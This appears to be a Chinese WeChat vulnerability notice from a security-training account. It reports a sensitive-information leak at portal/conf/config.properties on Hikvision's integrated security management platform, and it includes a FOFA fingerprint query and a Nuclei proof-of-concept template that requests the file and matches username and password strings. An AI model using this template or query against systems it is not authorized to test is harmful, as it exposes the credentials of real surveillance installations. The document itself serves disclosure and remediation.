漏洞通告| 海康威视综合安防管理平台信息泄露

免费&进群

  

本文由掌控安全学院 -  江月   投稿

海康威视综合安防管理平台信息泄露

【产品介绍】

海康威视（Hikvision）是一家总部位于中国杭州的公司，是全球最大的视频监控产品供应商。除了传统的CCTV摄像机和网络摄像机，海康威视还提供各种相关的安防产品和解决方案。他们的综合安防管理平台为用户提供了一站式的解决方案，包括视频监控、入侵检测、访客管理、停车场管理等。

【产品系统UI】

【漏洞说明】

海康威视综合安防平台portal/conf/config.properties接口存在敏感信息泄露

【指纹】

app=”HIKVISION-综合安防管理平台”

【Nuclei Poc】

id: hikvision-information

info:
  name: hikvision-information
  author: xxx
  severity: info
  description: 
  metadata:
    fofa-query: app="HIKVISION-综合安防管理平台"

requests:
  - method: GET
    path:
      - "{{BaseURL}}portal/conf/config.properties"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '@bic'
          - 'username'
          - 'password'                    
      - type: status
        status:
          - 200

【验证】

【修复建议】

1. 设置portal/conf/config.properties 文件的访问权限

   
   

申明：本公众号所分享内容仅用于网络安全技术讨论，切勿用于违法途径，

所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法.

没看够~？欢迎关注！

分享本文到朋友圈，可以凭截图找老师领取

上千教程+工具+交流群+靶场账号哦

 

 分享后扫码加我！

回顾往期内容

Xray挂机刷漏洞

零基础学黑客，该怎么学？

网络安全人员必考的几本证书！

文库｜内网神器cs4.0使用说明书

代码审计 | 这个CNVD证书拿的有点轻松

【精选】SRC快速入门+上分小秘籍+实战指南

    代理池工具撰写 | 只有无尽的跳转，没有封禁的IP！

点赞+在看支持一下吧~感谢看官老爷~ 

你的点赞是我更新的动力

原文始发于微信公众号（掌控安全EDU）：漏洞通告| 海康威视综合安防管理平台信息泄露